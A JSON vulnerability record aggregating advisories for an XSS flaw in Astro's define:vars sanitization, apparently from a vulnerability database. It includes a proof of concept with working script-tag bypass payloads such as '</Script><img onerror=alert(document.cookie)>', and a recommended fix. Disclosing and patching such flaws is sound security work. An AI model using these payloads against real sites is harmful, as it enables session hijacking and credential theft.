{"id":"CVE-2026-41067","aliases":["AIKIDO-2025-10879","CLSA-2026-1777855417","CLSA-2026-1777855422","CLSA-2026-1777941830","CLSA-2026-1778114666","CLSA-2026-1778633121","CLSA-2026-1778805974","CLSA-2026-1792161544","CLSA-2026-1792161545","CLSA-2026-1792161546","CLSA-2026-1792161547","CLSA-2026-1792161681","CLSA-2026-1792161682","CLSA-2026-1792161683","CLSA-2026-1792161684","CLSA-2026-1792161686","CLSA-2026-1792161687","CLSA-2026-1792161759","CLSA-2026-1792161775","CLSA-2026-1792161776","CLSA-2026-1792161777","CLSA-2026-1792161778","CLSA-2026-1792161847","CLSA-2026-1792161848","CLSA-2026-1792161849","CLSA-2026-1792454046","EUVD-2026-25573","GHSA-j687-52p2-xcff"],"status":"published","title":"Astro: XSS via incomplete `\u003c/script\u003e` sanitization in `define:vars` allows case-insensitive and whitespace-based bypass","description":"Astro is a web framework. Prior to 6.1.6, the defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /\u003c\\/script\u003e/g to sanitize values injected into inline \u003cscript\u003e tags via the define:vars directive. HTML parsers close \u003cscript\u003e elements case-insensitively and also accept whitespace or / before the closing \u003e, allowing an attacker to bypass the sanitization with payloads like \u003c/Script\u003e, \u003c/script \u003e, or \u003c/script/\u003e and inject arbitrary HTML/JavaScript. This vulnerability is fixed in 6.1.6.","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00189,"percentile":0.08615,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-04-21T20:39:49Z","modified":"2026-11-10T19:58:25Z","fixes":[{"ecosystem":"npm","package":"astro","fixed_in":["6.1.6"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"astro","fixed_in":["5.18.1-tuxcare.2"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@astrojs/internal-helpers","fixed_in":["4.16.19-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@astrojs/studio","fixed_in":["4.16.19-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@astrojs/underscore-redirects","fixed_in":["4.16.19-tuxcare.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"astro","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.1.6"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"astro","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.9.2-tuxcare.0"},{"fixed":"1.9.2-tuxcare.1"}]}],"versions":["1.9.2"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"astro","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.1-tuxcare.0"},{"fixed":"0.26.1-tuxcare.1"}]}],"versions":["0.26.1"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"astro","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.10.15-tuxcare.0"},{"fixed":"2.10.15-tuxcare.1"}]}],"versions":["2.10.15"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/db","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.19-tuxcare.0"},{"fixed":"4.16.19-tuxcare.1"}]}],"versions":["4.16.19"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/rss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.19-tuxcare.0"},{"fixed":"4.16.19-tuxcare.1"}]}],"versions":["4.16.19"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/telemetry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.19-tuxcare.0"},{"fixed":"4.16.19-tuxcare.1"}]}],"versions":["4.16.19"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"astro","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.19-tuxcare.0"},{"fixed":"4.16.19-tuxcare.1"}]}],"versions":["4.16.19"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"create-astro","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.19-tuxcare.0"},{"fixed":"4.16.19-tuxcare.1"}]}],"versions":["4.16.19"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"astro","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.6.5-tuxcare.0"},{"fixed":"3.6.5-tuxcare.1"}]}],"versions":["3.6.5"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:npm","package":"astro","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.18.1-tuxcare.0"},{"fixed":"5.18.1-tuxcare.2"}]}],"versions":["5.18.1","5.18.1-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/internal-helpers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.10.15-tuxcare.0"},{"fixed":"2.10.15-tuxcare.1"}]}],"versions":["2.10.15"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/internal-helpers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.19-tuxcare.0"},{"fixed":"4.16.19-tuxcare.1"}]}],"versions":["4.16.19"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/internal-helpers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.6.5-tuxcare.0"},{"fixed":"3.6.5-tuxcare.1"}]}],"versions":["3.6.5"],"bundled":13},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/internal-helpers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.18.1-tuxcare.0"},{"fixed":"5.18.1-tuxcare.2"}]}],"versions":["5.18.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/prism","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.9.2-tuxcare.0"},{"fixed":"1.9.2-tuxcare.1"}]}],"versions":["1.9.2"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/prism","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.1-tuxcare.0"},{"fixed":"0.26.1-tuxcare.1"}]}],"versions":["0.26.1"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/prism","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.10.15-tuxcare.0"},{"fixed":"2.10.15-tuxcare.1"}]}],"versions":["2.10.15"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/prism","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.19-tuxcare.0"},{"fixed":"4.16.19-tuxcare.1"}]}],"versions":["4.16.19"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/prism","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.6.5-tuxcare.0"},{"fixed":"3.6.5-tuxcare.1"}]}],"versions":["3.6.5"],"bundled":13},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/prism","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.18.1-tuxcare.0"},{"fixed":"5.18.1-tuxcare.2"}]}],"versions":["5.18.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/studio","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.19-tuxcare.0"},{"fixed":"4.16.19-tuxcare.1"}]}],"versions":["4.16.19"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/underscore-redirects","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.10.15-tuxcare.0"},{"fixed":"2.10.15-tuxcare.1"}]}],"versions":["2.10.15"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/underscore-redirects","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.19-tuxcare.0"},{"fixed":"4.16.19-tuxcare.1"}]}],"versions":["4.16.19"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/underscore-redirects","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.6.5-tuxcare.0"},{"fixed":"3.6.5-tuxcare.1"}]}],"versions":["3.6.5"],"bundled":13},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/underscore-redirects","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.18.1-tuxcare.0"},{"fixed":"5.18.1-tuxcare.2"}]}],"versions":["5.18.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/upgrade","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.16.19-tuxcare.0"},{"fixed":"4.16.19-tuxcare.1"}]}],"versions":["4.16.19"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/upgrade","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.6.5-tuxcare.0"},{"fixed":"3.6.5-tuxcare.1"}]}],"versions":["3.6.5"],"bundled":13},{"source":"osv","ecosystem":"TuxCare:npm","package":"@astrojs/upgrade","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.18.1-tuxcare.0"},{"fixed":"5.18.1-tuxcare.2"}]}],"versions":["5.18.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"astro","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.18.2-tuxcare.0"},{"fixed":"5.18.2-tuxcare.1"}]}],"versions":["5.18.2"],"bundled":9},{"source":"osv","ecosystem":"npm","package":"astro","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"6.1.6"}]}]}],"products":[{"vendor":"astro","product":"astro"},{"vendor":"withastro","product":"astro"}],"references":[{"url":"https://github.com/withastro/astro/security/advisories/GHSA-j687-52p2-xcff","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/withastro/astro/releases/tag/astro@6.1.6","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41067","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-j687-52p2-xcff"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41067.json","tags":["advisory"]},{"url":"https://github.com/withastro/astro","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-41067","title":"Astro: XSS via incomplete `\u003c/script\u003e` sanitization in `define:vars` allows case-insensitive and whitespace-based bypass","description":"Astro is a web framework. Prior to 6.1.6, the defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /\u003c\\/script\u003e/g to sanitize values injected into inline \u003cscript\u003e tags via the define:vars directive. HTML parsers close \u003cscript\u003e elements case-insensitively and also accept whitespace or / before the closing \u003e, allowing an attacker to bypass the sanitization with payloads like \u003c/Script\u003e, \u003c/script \u003e, or \u003c/script/\u003e and inject arbitrary HTML/JavaScript. This vulnerability is fixed in 6.1.6.","status":"published","published":"2026-04-24T16:57:22.94Z","modified":"2026-04-24T18:16:55.536Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T13:41:08.498858Z"}],"euvd":[{"id":"EUVD-2026-25573","description":"Astro is a web framework. Prior to 6.1.6, the defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /\u003c\\/script\u003e/g to sanitize values injected into inline \u003cscript\u003e tags via the define:vars directive. HTML parsers close \u003cscript\u003e elements case-insensitively and also accept whitespace or / before the closing \u003e, allowing an attacker to bypass the sanitization with payloads like \u003c/Script\u003e, \u003c/script \u003e, or \u003c/script/\u003e and inject arbitrary HTML/JavaScript. This vulnerability is fixed in 6.1.6.","status":"published","published":"2026-04-24T16:57:22Z","modified":"2026-04-24T18:16:55Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T19:24:18.224827Z"}],"ghsa":[{"id":"GHSA-j687-52p2-xcff","title":"Astro: XSS in define:vars via incomplete \u003c/script\u003e tag sanitization","description":"## Summary\n\nThe `defineScriptVars` function in Astro's server-side rendering pipeline uses a case-sensitive regex `/\u003c\\/script\u003e/g` to sanitize values injected into inline `\u003cscript\u003e` tags via the `define:vars` directive. HTML parsers close `\u003cscript\u003e` elements case-insensitively and also accept whitespace or `/` before the closing `\u003e`, allowing an attacker to bypass the sanitization with payloads like `\u003c/Script\u003e`, `\u003c/script \u003e`, or `\u003c/script/\u003e` and inject arbitrary HTML/JavaScript.\n\n## Details\n\nThe vulnerable function is `defineScriptVars` at `packages/astro/src/runtime/server/render/util.ts:42-53`:\n\n```typescript\nexport function defineScriptVars(vars: Record\u003cany, any\u003e) {\n\tlet output = '';\n\tfor (const [key, value] of Object.entries(vars)) {\n\t\toutput += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(\n\t\t\t/\u003c\\/script\u003e/g,       // ← Case-sensitive, exact match only\n\t\t\t'\\\\x3C/script\u003e',\n\t\t)};\\n`;\n\t}\n\treturn markHTMLString(output);\n}\n```\n\nThis function is called from `renderElement` at `util.ts:172-174` when a `\u003cscript\u003e` element has `define:vars`:\n\n```typescript\nif (name === 'script') {\n\tdelete props.hoist;\n\tchildren = defineScriptVars(defineVars) + '\\n' + children;\n}\n```\n\nThe regex `/\u003c\\/script\u003e/g` fails to match three classes of closing script tags that HTML parsers accept per the [HTML specification §13.2.6.4](https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inbody):\n\n1. **Case variations**: `\u003c/Script\u003e`, `\u003c/SCRIPT\u003e`, `\u003c/sCrIpT\u003e` — HTML tag names are case-insensitive but the regex has no `i` flag.\n2. **Whitespace before `\u003e`**: `\u003c/script \u003e`, `\u003c/script\\t\u003e`, `\u003c/script\\n\u003e` — after the tag name, the HTML tokenizer enters the \"before attribute name\" state on ASCII whitespace.\n3. **Self-closing slash**: `\u003c/script/\u003e` — the tokenizer enters \"self-closing start tag\" state on `/`.\n\n`JSON.stringify()` does not escape `\u003c`, `\u003e`, or `/` characters, so all these payloads pass through serialization unchanged.\n\n**Execution flow:** User-controlled input (e.g., `Astro.url.searchParams`) → assigned to a variable → passed via `define:vars` on a `\u003cscript\u003e` tag → `renderElement` → `defineScriptVars` → incomplete sanitization → injected into `\u003cscript\u003e` block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.\n\n## PoC\n\n**Step 1:** Create an SSR Astro page (`src/pages/index.astro`):\n\n```astro\n---\nconst name = Astro.url.searchParams.get('name') || 'World';\n---\n\u003chtml\u003e\n\u003cbody\u003e\n  \u003ch1\u003eHello\u003c/h1\u003e\n  \u003cscript define:vars={{ name }}\u003e\n    console.log(name);\n  \u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 2:** Ensure SSR is enabled in `astro.config.mjs`:\n\n```js\nexport default defineConfig({\n  output: 'server'\n});\n```\n\n**Step 3:** Start the dev server and visit:\n\n```\nhttp://localhost:4321/?name=\u003c/Script\u003e\u003cimg/src=x%20onerror=alert(document.cookie)\u003e\n```\n\n**Step 4:** View the HTML source. The output contains:\n\n```html\n\u003cscript\u003econst name = \"\u003c/Script\u003e\u003cimg/src=x onerror=alert(document.cookie)\u003e\";\n  console.log(name);\n\u003c/script\u003e\n```\n\nThe browser's HTML parser matches `\u003c/Script\u003e` case-insensitively, closing the script block. The `\u003cimg onerror=alert(document.cookie)\u003e` is then parsed as HTML and the JavaScript in `onerror` executes.\n\n**Alternative bypass payloads:**\n\n```\n/?name=\u003c/script \u003e\u003cimg/src=x onerror=alert(1)\u003e\n/?name=\u003c/script/\u003e\u003cimg/src=x onerror=alert(1)\u003e\n/?name=\u003c/SCRIPT\u003e\u003cimg/src=x onerror=alert(1)\u003e\n```\n\n## Impact\n\nAn attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to `define:vars` on a `\u003cscript\u003e` tag. This is a documented and expected usage pattern in Astro.\n\nExploitation enables:\n- **Session hijacking** via cookie theft (`document.cookie`)\n- **Credential theft** by injecting fake login forms or keyloggers\n- **Defacement** of the rendered page\n- **Redirection** to attacker-controlled domains\n\nThe vulnerability affects all Astro versions that support `define:vars` and is exploitable in any SSR deployment where user input reaches a `define:vars` script variable.\n\n## Recommended Fix\n\nReplace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all `\u003c` characters in the JSON output:\n\n```typescript\nexport function defineScriptVars(vars: Record\u003cany, any\u003e) {\n\tlet output = '';\n\tfor (const [key, value] of Object.entries(vars)) {\n\t\toutput += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(\n\t\t\t/\u003c/g,\n\t\t\t'\\\\u003c',\n\t\t)};\\n`;\n\t}\n\treturn markHTMLString(output);\n}\n```\n\nThis is the standard approach used by frameworks like Next.js and Rails. Replacing every `\u003c` with `\\u003c` is safe inside JSON string contexts (JavaScript treats `\\u003c` as `\u003c` at runtime) and eliminates all possible `\u003c/script\u003e` variants including case variations, whitespace, and self-closing forms.","status":"published","published":"2026-04-21T20:39:49Z","modified":"2026-04-27T16:43:31Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:59.776263Z"}],"nvd":[{"id":"CVE-2026-41067","description":"Astro is a web framework. Prior to 6.1.6, the defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /\u003c\\/script\u003e/g to sanitize values injected into inline \u003cscript\u003e tags via the define:vars directive. HTML parsers close \u003cscript\u003e elements case-insensitively and also accept whitespace or / before the closing \u003e, allowing an attacker to bypass the sanitization with payloads like \u003c/Script\u003e, \u003c/script \u003e, or \u003c/script/\u003e and inject arbitrary HTML/JavaScript. This vulnerability is fixed in 6.1.6.","status":"published","published":"2026-04-24T17:16:21.083Z","modified":"2026-10-26T22:10:00.163Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:15.867234Z"}],"osv":[{"id":"CVE-2026-41067","title":"Astro: XSS via incomplete `\u003c/script\u003e` sanitization in `define:vars` allows case-insensitive and whitespace-based bypass","description":"Astro is a web framework. Prior to 6.1.6, the defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /\u003c\\/script\u003e/g to sanitize values injected into inline \u003cscript\u003e tags via the define:vars directive. HTML parsers close \u003cscript\u003e elements case-insensitively and also accept whitespace or / before the closing \u003e, allowing an attacker to bypass the sanitization with payloads like \u003c/Script\u003e, \u003c/script \u003e, or \u003c/script/\u003e and inject arbitrary HTML/JavaScript. This vulnerability is fixed in 6.1.6.","status":"published","published":"2026-04-24T16:57:22.94Z","modified":"2026-10-28T02:31:10.5612568Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:03.424067Z"},{"id":"GHSA-j687-52p2-xcff","title":"Astro: XSS in define:vars via incomplete \u003c/script\u003e tag sanitization","description":"## Summary\n\nThe `defineScriptVars` function in Astro's server-side rendering pipeline uses a case-sensitive regex `/\u003c\\/script\u003e/g` to sanitize values injected into inline `\u003cscript\u003e` tags via the `define:vars` directive. HTML parsers close `\u003cscript\u003e` elements case-insensitively and also accept whitespace or `/` before the closing `\u003e`, allowing an attacker to bypass the sanitization with payloads like `\u003c/Script\u003e`, `\u003c/script \u003e`, or `\u003c/script/\u003e` and inject arbitrary HTML/JavaScript.\n\n## Details\n\nThe vulnerable function is `defineScriptVars` at `packages/astro/src/runtime/server/render/util.ts:42-53`:\n\n```typescript\nexport function defineScriptVars(vars: Record\u003cany, any\u003e) {\n\tlet output = '';\n\tfor (const [key, value] of Object.entries(vars)) {\n\t\toutput += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(\n\t\t\t/\u003c\\/script\u003e/g,       // ← Case-sensitive, exact match only\n\t\t\t'\\\\x3C/script\u003e',\n\t\t)};\\n`;\n\t}\n\treturn markHTMLString(output);\n}\n```\n\nThis function is called from `renderElement` at `util.ts:172-174` when a `\u003cscript\u003e` element has `define:vars`:\n\n```typescript\nif (name === 'script') {\n\tdelete props.hoist;\n\tchildren = defineScriptVars(defineVars) + '\\n' + children;\n}\n```\n\nThe regex `/\u003c\\/script\u003e/g` fails to match three classes of closing script tags that HTML parsers accept per the [HTML specification §13.2.6.4](https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inbody):\n\n1. **Case variations**: `\u003c/Script\u003e`, `\u003c/SCRIPT\u003e`, `\u003c/sCrIpT\u003e` — HTML tag names are case-insensitive but the regex has no `i` flag.\n2. **Whitespace before `\u003e`**: `\u003c/script \u003e`, `\u003c/script\\t\u003e`, `\u003c/script\\n\u003e` — after the tag name, the HTML tokenizer enters the \"before attribute name\" state on ASCII whitespace.\n3. **Self-closing slash**: `\u003c/script/\u003e` — the tokenizer enters \"self-closing start tag\" state on `/`.\n\n`JSON.stringify()` does not escape `\u003c`, `\u003e`, or `/` characters, so all these payloads pass through serialization unchanged.\n\n**Execution flow:** User-controlled input (e.g., `Astro.url.searchParams`) → assigned to a variable → passed via `define:vars` on a `\u003cscript\u003e` tag → `renderElement` → `defineScriptVars` → incomplete sanitization → injected into `\u003cscript\u003e` block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.\n\n## PoC\n\n**Step 1:** Create an SSR Astro page (`src/pages/index.astro`):\n\n```astro\n---\nconst name = Astro.url.searchParams.get('name') || 'World';\n---\n\u003chtml\u003e\n\u003cbody\u003e\n  \u003ch1\u003eHello\u003c/h1\u003e\n  \u003cscript define:vars={{ name }}\u003e\n    console.log(name);\n  \u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 2:** Ensure SSR is enabled in `astro.config.mjs`:\n\n```js\nexport default defineConfig({\n  output: 'server'\n});\n```\n\n**Step 3:** Start the dev server and visit:\n\n```\nhttp://localhost:4321/?name=\u003c/Script\u003e\u003cimg/src=x%20onerror=alert(document.cookie)\u003e\n```\n\n**Step 4:** View the HTML source. The output contains:\n\n```html\n\u003cscript\u003econst name = \"\u003c/Script\u003e\u003cimg/src=x onerror=alert(document.cookie)\u003e\";\n  console.log(name);\n\u003c/script\u003e\n```\n\nThe browser's HTML parser matches `\u003c/Script\u003e` case-insensitively, closing the script block. The `\u003cimg onerror=alert(document.cookie)\u003e` is then parsed as HTML and the JavaScript in `onerror` executes.\n\n**Alternative bypass payloads:**\n\n```\n/?name=\u003c/script \u003e\u003cimg/src=x onerror=alert(1)\u003e\n/?name=\u003c/script/\u003e\u003cimg/src=x onerror=alert(1)\u003e\n/?name=\u003c/SCRIPT\u003e\u003cimg/src=x onerror=alert(1)\u003e\n```\n\n## Impact\n\nAn attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to `define:vars` on a `\u003cscript\u003e` tag. This is a documented and expected usage pattern in Astro.\n\nExploitation enables:\n- **Session hijacking** via cookie theft (`document.cookie`)\n- **Credential theft** by injecting fake login forms or keyloggers\n- **Defacement** of the rendered page\n- **Redirection** to attacker-controlled domains\n\nThe vulnerability affects all Astro versions that support `define:vars` and is exploitable in any SSR deployment where user input reaches a `define:vars` script variable.\n\n## Recommended Fix\n\nReplace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all `\u003c` characters in the JSON output:\n\n```typescript\nexport function defineScriptVars(vars: Record\u003cany, any\u003e) {\n\tlet output = '';\n\tfor (const [key, value] of Object.entries(vars)) {\n\t\toutput += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(\n\t\t\t/\u003c/g,\n\t\t\t'\\\\u003c',\n\t\t)};\\n`;\n\t}\n\treturn markHTMLString(output);\n}\n```\n\nThis is the standard approach used by frameworks like Next.js and Rails. Replacing every `\u003c` with `\\u003c` is safe inside JSON string contexts (JavaScript treats `\\u003c` as `\u003c` at runtime) and eliminates all possible `\u003c/script\u003e` variants including case variations, whitespace, and self-closing forms.","status":"published","published":"2026-04-21T20:39:49Z","modified":"2026-05-05T16:07:54.66086Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:49.977351Z"},{"id":"CLSA-2026-1777855417","title":"TuxCare security update for astro (10 CVEs)","description":"TuxCare rebuilt astro to address 10 CVEs. Fixed in 1.9.2-tuxcare.1.","status":"published","published":"2026-08-04T14:52:30Z","modified":"2026-10-30T19:45:54.337273141Z","updated_at":"2026-11-02T15:43:44.384419Z"},{"id":"CLSA-2026-1777855422","title":"TuxCare security update for astro (10 CVEs)","description":"TuxCare rebuilt astro to address 10 CVEs. Fixed in 0.26.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:30Z","modified":"2026-10-30T19:45:52.829936878Z","updated_at":"2026-11-02T15:43:44.384419Z"},{"id":"CLSA-2026-1777941830","title":"TuxCare security update for astro (10 CVEs)","description":"TuxCare rebuilt astro to address 10 CVEs. Fixed in 2.10.15-tuxcare.1.","status":"published","published":"2026-08-04T14:52:30Z","modified":"2026-10-30T19:45:54.887902642Z","updated_at":"2026-11-02T15:43:44.737408Z"},{"id":"CLSA-2026-1778114666","title":"TuxCare security update for 5 packages (9 CVEs)","description":"TuxCare rebuilt 5 packages to address 9 CVEs. Fixed in 4.16.19-tuxcare.1.","status":"published","published":"2026-08-04T14:52:30Z","modified":"2026-10-25T01:43:07.718699294Z","updated_at":"2026-11-02T15:43:44.737408Z"},{"id":"CLSA-2026-1778633121","title":"TuxCare security update for astro (11 CVEs)","description":"TuxCare rebuilt astro to address 11 CVEs. Fixed in 3.6.5-tuxcare.1.","status":"published","published":"2026-08-04T14:52:31Z","modified":"2026-10-30T19:45:58.685288003Z","updated_at":"2026-11-02T15:43:44.737408Z"},{"id":"CLSA-2026-1778805974","title":"TuxCare security update for astro (1 CVE)","description":"TuxCare rebuilt astro to address 1 CVE. Fixed in 5.18.1-tuxcare.2.","status":"published","published":"2026-08-04T14:52:31Z","modified":"2026-11-02T19:59:10.177984407Z","updated_at":"2026-11-02T20:20:40.690521Z"},{"id":"CLSA-2026-1792161544","title":"TuxCare security update for @astrojs/internal-helpers (11 CVEs)","description":"TuxCare rebuilt @astrojs/internal-helpers to address 11 CVEs. Fixed in 2.10.15-tuxcare.1.","status":"published","published":"2026-10-16T14:39:04Z","modified":"2026-10-16T16:30:31.972857815Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161545","title":"TuxCare security update for @astrojs/internal-helpers (1 CVE)","description":"TuxCare rebuilt @astrojs/internal-helpers to address 1 CVE. Fixed in 4.16.19-tuxcare.1.","status":"published","published":"2026-10-16T14:39:05Z","modified":"2026-11-10T19:58:21.555637658Z","updated_at":"2026-11-10T20:07:25.465481Z"},{"id":"CLSA-2026-1792161546","title":"TuxCare security update for @astrojs/internal-helpers (13 CVEs)","description":"TuxCare rebuilt @astrojs/internal-helpers to address 13 CVEs. Fixed in 3.6.5-tuxcare.1.","status":"published","published":"2026-10-16T14:39:06Z","modified":"2026-10-16T16:30:31.968641871Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161547","title":"TuxCare security update for @astrojs/internal-helpers (2 CVEs)","description":"TuxCare rebuilt @astrojs/internal-helpers to address 2 CVEs. Fixed in 5.18.1-tuxcare.2.","status":"published","published":"2026-10-16T14:39:07Z","modified":"2026-10-16T16:30:31.970019335Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161681","title":"TuxCare security update for @astrojs/prism (10 CVEs)","description":"TuxCare rebuilt @astrojs/prism to address 10 CVEs. Fixed in 1.9.2-tuxcare.1.","status":"published","published":"2026-10-16T14:41:21Z","modified":"2026-10-16T16:31:07.064396448Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161682","title":"TuxCare security update for @astrojs/prism (10 CVEs)","description":"TuxCare rebuilt @astrojs/prism to address 10 CVEs. Fixed in 0.26.1-tuxcare.1.","status":"published","published":"2026-10-16T14:41:22Z","modified":"2026-10-16T16:31:07.119893696Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161683","title":"TuxCare security update for @astrojs/prism (11 CVEs)","description":"TuxCare rebuilt @astrojs/prism to address 11 CVEs. Fixed in 2.10.15-tuxcare.1.","status":"published","published":"2026-10-16T14:41:23Z","modified":"2026-10-16T16:31:07.771808672Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161684","title":"TuxCare security update for @astrojs/prism (1 CVE)","description":"TuxCare rebuilt @astrojs/prism to address 1 CVE. Fixed in 4.16.19-tuxcare.1.","status":"published","published":"2026-10-16T14:41:24Z","modified":"2026-11-10T19:45:14.046074043Z","updated_at":"2026-11-10T20:12:40.351566Z"},{"id":"CLSA-2026-1792161686","title":"TuxCare security update for @astrojs/prism (13 